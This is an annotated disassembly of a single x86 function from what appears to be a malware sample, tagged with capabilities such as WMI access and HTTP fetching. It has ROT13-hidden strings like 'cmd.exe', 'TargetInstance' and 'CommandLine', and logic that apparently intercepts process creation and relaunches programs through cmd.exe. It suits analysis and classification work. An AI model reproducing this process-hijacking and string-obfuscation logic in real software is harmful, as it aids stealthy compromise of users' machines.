Function at 0x1000cb80
Capabilities:
Connect to wmi namespace via wbemlocator
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10044fac
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1664
call fcn.100365e0
mov eax, dword [0x100533e8]
mov dword [esp + 0x1660], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x44], ebx
xor eax, eax
xor esi, esi
mov word [esp + 0xc40], si
mov ecx, 0x81
lea edi, [esp + 0xc42]
rep stosd dword es:[edi], eax
push 0x104
stosw word es:[edi], ax
lea eax, [esp + 0xc44]
push str.EBBGPVZI7
push eax
call fcn.1003659e
lea ecx, [esp + 0xc4c]
push ecx
call fcn.10001960
add esp, 0x10
lea edx, [esp + 0xc40]
push edx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
cmp eax, esi
mov dword [esp + 0x20], eax
jne 0x1000cc1e
push 0x8007000e
call fcn.10003290
xor eax, eax
mov word [esp + 0x628], si
mov ecx, 0x81
lea edi, [esp + 0x62a]
rep stosd dword es:[edi], eax
push 0x104
stosw word es:[edi], ax
lea eax, [esp + 0x62c]
push 0x100485f8
push eax
mov dword [esp + 0x1688], esi
call fcn.1003659e
lea ecx, [esp + 0x634]
push ecx
call fcn.10001960
add esp, 0x10
lea edx, [esp + 0x628]
push edx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
cmp eax, esi
mov dword [esp + 0x24], eax
jne 0x1000cc86
push 0x8007000e
call fcn.10003290
xor eax, eax
mov word [esp + 0xe48], si
mov ecx, 0x207
lea edi, [esp + 0xe4a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xe48]
push eax
mov byte [esp + 0x1680], 1
call fcn.10001af0
add esp, 4
lea ecx, [esp + 0xe48]
push ecx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
cmp eax, esi
mov dword [esp + 0x1c], eax
jne 0x1000ccd8
push 0x8007000e
call fcn.10003290
xor eax, eax
mov word [esp + 0x830], si
mov ecx, 0x81
lea edi, [esp + 0x832]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov word [esp + 0xa38], si
xor eax, eax
mov ecx, 0x81
lea edi, [esp + 0xa3a]
rep stosd dword es:[edi], eax
push 0x104
lea edx, [esp + 0x834]
push str.GnetrgVafgnapr
push edx
mov byte [esp + 0x1688], 2
stosw word es:[edi], ax
call fcn.1003659e
push 0x104
lea eax, [esp + 0xa48]
push str.PbzznaqYvar
push eax
call fcn.1003659e
lea ecx, [esp + 0x848]
push ecx
call fcn.10001960
lea edx, [esp + 0xa54]
push edx
call fcn.10001960
mov eax, dword [ebx + 0x644]
mov ecx, dword [ebx + 0x21c]
add esp, 0x20
push 0xffffffffffffffff
push esi
lea edx, [esp + 0x90]
push edx
push 2
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x1000d7f3
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
cmp eax, esi
jl 0x1000d7f3
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], esi
mov byte [esp + 0x167c], 3
mov dword [esp + 0x58], 0x3e8
mov eax, dword [esp + 0x44]
mov ecx, dword [eax + 0x680]
xor esi, esi
cmp ecx, esi
je 0x1000cdd7
mov eax, dword [esp + 0x58]
jmp 0x1000cdda
or eax, 0xffffffff
push eax
push esi
lea ecx, [esp + 0x90]
push ecx
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x1000d5bd
mov dword [esp + 0x58], 0x3e8
mov dword [esp + 0x18], esi
mov dword [esp + 0x10], esi
lea edx, [esp + 0x18]
push edx
push 0x1004dcf0
push 1
push esi
push 0x1004ddc0
mov byte [esp + 0x1690], 5
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, esi
jne 0x1000d591
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x24]
push esi
push esi
push esi
push esi
push esi
push esi
push edx
push eax
call dword [ecx + 0xc]
cmp eax, esi
mov eax, dword [esp + 0x10]
jne 0x1000d595
push esi
push esi
push 3
push 3
push esi
push esi
push 0xa
push eax
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
cmp eax, esi
jne 0x1000d591
mov dword [esp + 0x2c], esi
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
lea edx, [esp + 0x2c]
push edx
mov edx, dword [esp + 0x20]
push esi
push 0x30
push edx
mov edx, dword [esp + 0x34]
push edx
push eax
mov byte [esp + 0x1694], 6
call dword [ecx + 0x58]
cmp eax, esi
jne 0x1000d546
mov esi, dword [esp + 0x44]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edi, edi
jmp 0x1000ceb0
mov dword [esp + 0x14], edi
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x94]
push edx
lea edx, [esp + 0x18]
push edx
push 1
push 0xbb8
mov dword [esp + 0xa4], edi
mov ecx, dword [eax]
push eax
mov byte [esp + 0x1690], 7
call dword [ecx + 0x10]
cmp eax, edi
mov ecx, dword [esp + 0x14]
je 0x1000cf1f
cmp eax, 0x40004
jne 0x1000d534
mov eax, dword [esi + 0x21c]
push 1
push eax
call ebx
test eax, eax
mov eax, dword [esp + 0x14]
mov byte [esp + 0x167c], 6
je 0x1000d785
cmp eax, edi
je 0x1000ceb0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1000ceb0
cmp ecx, edi
je 0x1000d534
mov ebx, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea edx, [esp + 0x78]
push edx
call ebx
lea ecx, [esp + 0x830]
lea eax, [esp + 0xb0]
push ecx
lea ecx, [esp + 0xb0]
mov byte [esp + 0x1680], 8
mov dword [esp + 0xb0], eax
call fcn.100042b0
mov eax, dword [esp + 0x14]
mov edx, dword [eax]
push edi
push edi
lea ecx, [esp + 0x80]
push ecx
mov ecx, dword [esp + 0xb8]
push edi
push ecx
push eax
mov byte [esp + 0x1694], 9
call dword [edx + 0x10]
mov esi, eax
mov eax, dword [esp + 0xac]
lea edx, [esp + 0xb0]
cmp eax, edx
je 0x1000cfa0
push eax
call fcn.1003633d
add esp, 4
cmp esi, edi
jl 0x1000d511
cmp word [esp + 0x78], 0xd
jne 0x1000d511
mov eax, dword [esp + 0x80]
cmp eax, edi
je 0x1000d511
push eax
lea ecx, [esp + 0x3c]
call fcn.10004820
xor eax, eax
mov word [esp + 0x3b8], 0
mov ecx, 0x18
lea edi, [esp + 0x3ba]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x98]
push eax
call ebx
mov esi, dword [esp + 0x38]
mov ecx, dword [esi]
push 0
push 0
lea edx, [esp + 0xa0]
push edx
push 0
push 0x100485d4
push esi
mov byte [esp + 0x1694], 0xb
call dword [ecx + 0x10]
test eax, eax
jl 0x1000d4f3
mov eax, dword [esp + 0xa0]
push eax
lea ecx, [esp + 0x38]
call fcn.100033d0
mov ecx, dword [esp + 0x34]
push 0x32
push ecx
lea edx, [esp + 0x3c0]
push edx
mov byte [esp + 0x1688], 0xc
call fcn.1003659e
lea eax, [esp + 0x3c4]
push eax
call fcn.10001a40
add esp, 0x10
lea ecx, [esp + 0x68]
push ecx
mov dword [esp + 0x94], eax
call ebx
lea edx, [esp + 0xa38]
push edx
lea ecx, [esp + 0x2b8]
mov byte [esp + 0x1680], 0xd
call fcn.100047c0
mov eax, dword [eax]
mov ecx, dword [esi]
push 0
push 0
lea edx, [esp + 0x70]
push edx
push 0
push eax
push esi
mov byte [esp + 0x1694], 0xe
call dword [ecx + 0x10]
mov edi, eax
mov eax, dword [esp + 0x2b4]
lea ecx, [esp + 0x2b8]
cmp eax, ecx
mov byte [esp + 0x167c], 0xd
je 0x1000d0c8
push eax
call fcn.1003633d
add esp, 4
test edi, edi
jl 0x1000d4dd
cmp word [esp + 0x68], 8
jne 0x1000d4dd
mov edx, dword [esp + 0x70]
xor eax, eax
mov word [esp + 0x420], 0
mov ecx, 0x81
lea edi, [esp + 0x422]
rep stosd dword es:[edi], eax
push 0x104
stosw word es:[edi], ax
push edx
lea eax, [esp + 0x428]
push eax
call fcn.1003659e
add esp, 0xc
lea ecx, [esp + 0x420]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveArgsW]
lea edx, [esp + 0x422]
push 0x5c
push edx
mov word [esp + 0x428], 0x22
call fcn.1003654c
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x60], edi
je 0x1000d169
mov word [edi], 0
add edi, 2
mov dword [esp + 0x60], edi
je 0x1000d169
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cmp word [edi + eax*2], 0x22
jne 0x1000d169
mov word [edi + eax*2], 0
mov edi, dword [esp + 0x44]
mov eax, dword [edi + 0x680]
test eax, eax
je 0x1000d4dd
mov eax, dword [edi + 0x6a0]
test eax, eax
je 0x1000d192
lea eax, [edi + 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [edi + 0x678]
lea esi, [edi + 0x66c]
push ecx
mov ecx, esi
call fcn.10004230
mov edx, dword [eax]
mov eax, dword [edi + 0x678]
push eax
mov ecx, esi
mov dword [esp + 0x40], edx
call fcn.10004230
add eax, 4
push eax
lea ecx, [esp + 0x34]
call fcn.10004c90
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x50]
mov byte [esp + 0x1680], 0xf
xor esi, esi
call fcn.10004d40
cmp eax, 0xffffffff
mov dword [esp + 0x64], eax
je 0x1000d1f4
push eax
lea ecx, [esp + 0x50]
call fcn.10004280
mov esi, dword [eax]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [esp + 0x44]
mov ebx, eax
mov eax, dword [edi + 0x6a4]
test eax, eax
mov dword [esp + 0x5c], ebx
jne 0x1000d30a
call fcn.10003b40
test eax, eax
jne 0x1000d25a
test esi, esi
je 0x1000d22f
mov edx, ebx
sub edx, esi
cmp edx, 0x1b77400
sbb eax, eax
neg eax
jne 0x1000d25a
mov eax, dword [edi + 0x678]
test eax, eax
jne 0x1000d246
test bl, 1
je 0x1000d25a
test eax, eax
je 0x1000d30a
xor edx, edx
mov eax, ebx
mov ecx, 0xa
div ecx
cmp edx, 2
jbe 0x1000d30a
test esi, esi
jbe 0x1000d276
mov edx, ebx
sub edx, esi
cmp edx, 0x1b77400
jae 0x1000d276
sub esi, ebx
add esi, 0x1b777e8
mov dword [esp + 0x58], esi
mov eax, dword [edi + 0x6a0]
test eax, eax
je 0x1000d28d
lea eax, [edi + 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [edi + 0x21c]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
lea ecx, [esp + 0x30]
je 0x1000d5e4
call fcn.10004cb0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0x68]
push edx
call esi
mov eax, dword [esp + 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ecx, [esp + 0x98]
push ecx
call esi
mov eax, dword [esp + 0x38]
mov edx, dword [eax]
push eax
mov byte [esp + 0x1680], 8
call dword [edx + 8]
lea eax, [esp + 0x78]
push eax
call esi
mov eax, dword [esp + 0x14]
test eax, eax
mov byte [esp + 0x167c], 6
je 0x1000d546
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1000d546
mov edx, dword [edi + 0x678]
mov ecx, dword [edi + 0x670]
inc edx
mov eax, edx
cmp eax, ecx
mov dword [edi + 0x678], edx
jne 0x1000d32d
mov dword [edi + 0x678], 0
mov eax, dword [edi + 0x6a0]
test eax, eax
je 0x1000d344
lea edx, [edi + 0x688]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [esp + 0x64], 0xffffffff
lea eax, [esp + 0x5c]
lea ecx, [esp + 0x3c]
push eax
push ecx
lea ecx, [esp + 0x54]
je 0x1000d365
mov edx, dword [esp + 0x6c]
push edx
call fcn.10004d70
jmp 0x1000d36a
call fcn.10004cd0
lea ecx, [esp + 0x28]
call fcn.10004c70
push str.pzq.rkr
lea ecx, [esp + 0x44]
mov byte [esp + 0x1680], 0x10
call fcn.10009fb0
push 0
lea ecx, [esp + 0x44]
mov byte [esp + 0x1680], 0x11
call fcn.10005a50
push eax
call fcn.1000e370
mov eax, dword [esp + 0x64]
add esp, 4
test eax, eax
jne 0x1000d3b2
mov eax, 0x10047eac
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x40]
push edx
push eax
lea eax, [esp + 0x42a]
push eax
push ecx
lea edx, [esp + 0x38]
push str._s__c_start_____d__s____s___s
push edx
call fcn.10006640
mov eax, dword [esp + 0x40]
add esp, 0x18
push eax
lea ecx, [esp + 0x1b4]
call fcn.100047c0
mov eax, dword [eax]
lea ecx, [esp + 0x28]
push ecx
push eax
mov byte [esp + 0x1684], 0x12
call fcn.1000f2a0
mov eax, dword [esp + 0x1b8]
lea edx, [esp + 0x1bc]
add esp, 8
cmp eax, edx
je 0x1000d41b
push eax
call fcn.1003633d
add esp, 4
lea ecx, [esp + 0x48]
call fcn.10004c70
mov eax, dword [esp + 0x28]
mov ecx, dword [edi + 0x6b0]
push eax
push 0x10048580
push ecx
lea edx, [edi + 0x220]
push edx
lea eax, [esp + 0x58]
push str.__s_s.exe___s__s
push eax
mov byte [esp + 0x1694], 0x13
call fcn.10006640
mov ecx, dword [esp + 0x60]
add esp, 0x18
push 0xffffffffffffffff
push 0
push ecx
push 0
mov ecx, edi
call fcn.10003f80
mov eax, dword [edi + 0x6a4]
test eax, eax
jne 0x1000d496
mov edx, dword [edi + 0x21c]
push 0x493e0
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1000d6a5
mov eax, dword [edi + 0x6a4]
test eax, eax
je 0x1000d4a1
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x3c]
push eax
push ecx
mov ecx, edi
call fcn.100072c0
lea ecx, [esp + 0x48]
call fcn.10004cb0
lea ecx, [esp + 0x40]
call fcn.10004cb0
lea ecx, [esp + 0x28]
call fcn.10004cb0
lea ecx, [esp + 0x30]
call fcn.10004cb0
mov esi, dword [esp + 0x38]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x34]
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ecx, [esp + 0x98]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edx, dword [esi]
push esi
mov byte [esp + 0x1680], 8
call dword [edx + 8]
xor edi, edi
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x14]
cmp eax, edi
mov byte [esp + 0x167c], 6
je 0x1000d546
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1000d546
cmp ecx, edi
mov byte [esp + 0x167c], 6
je 0x1000d546
mov edx, dword [ecx]
push ecx
call dword [edx + 8]
mov eax, dword [esp + 0x2c]
test eax, eax
mov byte [esp + 0x167c], 5
je 0x1000d55c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
test eax, eax
mov byte [esp + 0x167c], 4
je 0x1000d572
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x18]
test eax, eax
mov byte [esp + 0x167c], 3
je 0x1000cdc1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x1000cdc1
mov eax, dword [esp + 0x10]
cmp eax, esi
mov byte [esp + 0x167c], 4
je 0x1000d5a7
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x18]
cmp eax, esi
mov byte [esp + 0x167c], 3
je 0x1000d5bd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [esp + 0x4c]
call fcn.100047e0
mov edx, dword [esp + 0x1c]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push edx
call esi
mov eax, dword [esp + 0x24]
push eax
call esi
mov ecx, dword [esp + 0x20]
push ecx
jmp 0x1000d80c
call fcn.10004cb0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea edx, [esp + 0x68]
push edx
call esi
mov eax, dword [esp + 0x34]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push eax
call edi
lea ecx, [esp + 0x98]
push ecx
call esi
mov eax, dword [esp + 0x38]
test eax, eax
mov byte [esp + 0x167c], 8
je 0x1000d623
mov edx, dword [eax]
push eax
call dword [edx + 8]
lea eax, [esp + 0x78]
push eax
call esi
mov eax, dword [esp + 0x14]
test eax, eax
mov byte [esp + 0x167c], 6
je 0x1000d640
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x2c]
test eax, eax
mov byte [esp + 0x167c], 5
je 0x1000d656
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x10]
test eax, eax
mov byte [esp + 0x167c], 4
je 0x1000d66c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x18]
test eax, eax
mov byte [esp + 0x167c], 3
je 0x1000d682
mov edx, dword [eax]
push eax
call dword [edx + 8]
lea ecx, [esp + 0x4c]
call fcn.100047e0
mov eax, dword [esp + 0x1c]
push eax
call edi
mov ecx, dword [esp + 0x24]
push ecx
call edi
mov edx, dword [esp + 0x20]
push edx
call edi
jmp 0x1000d80e
lea ecx, [esp + 0x48]
call fcn.10004cb0
lea ecx, [esp + 0x40]
call fcn.10004cb0
lea ecx, [esp + 0x28]
call fcn.10004cb0
lea ecx, [esp + 0x30]
call fcn.10004cb0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [esp + 0x68]
push eax
call esi
mov ecx, dword [esp + 0x34]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ecx
call edi
lea edx, [esp + 0x98]
push edx
call esi
mov eax, dword [esp + 0x38]
test eax, eax
mov byte [esp + 0x167c], 8
je 0x1000d703
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea edx, [esp + 0x78]
push edx
call esi
mov eax, dword [esp + 0x14]
test eax, eax
mov byte [esp + 0x167c], 6
je 0x1000d720
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x2c]
test eax, eax
mov byte [esp + 0x167c], 5
je 0x1000d736
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x10]
test eax, eax
mov byte [esp + 0x167c], 4
je 0x1000d74c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x18]
test eax, eax
mov byte [esp + 0x167c], 3
je 0x1000d762
mov edx, dword [eax]
push eax
call dword [edx + 8]
lea ecx, [esp + 0x4c]
call fcn.100047e0
mov eax, dword [esp + 0x1c]
push eax
call edi
mov ecx, dword [esp + 0x24]
push ecx
call edi
mov edx, dword [esp + 0x20]
push edx
call edi
jmp 0x1000d80e
cmp eax, edi
je 0x1000d78f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x2c]
cmp eax, edi
mov byte [esp + 0x167c], 5
je 0x1000d7a5
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x10]
cmp eax, edi
mov byte [esp + 0x167c], 4
je 0x1000d7bb
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x18]
cmp eax, edi
mov byte [esp + 0x167c], 3
je 0x1000d7d1
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0x4c]
cmp eax, edi
je 0x1000d7e2
push eax
call fcn.1003633d
add esp, 4
mov eax, dword [esp + 0x50]
cmp eax, edi
je 0x1000d7f3
push eax
call fcn.1003633d
add esp, 4
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push eax
call esi
mov ecx, dword [esp + 0x24]
push ecx
call esi
mov edx, dword [esp + 0x20]
push edx
call esi
mov ecx, dword [esp + 0x1674]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x166c]
call fcn.10036133
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret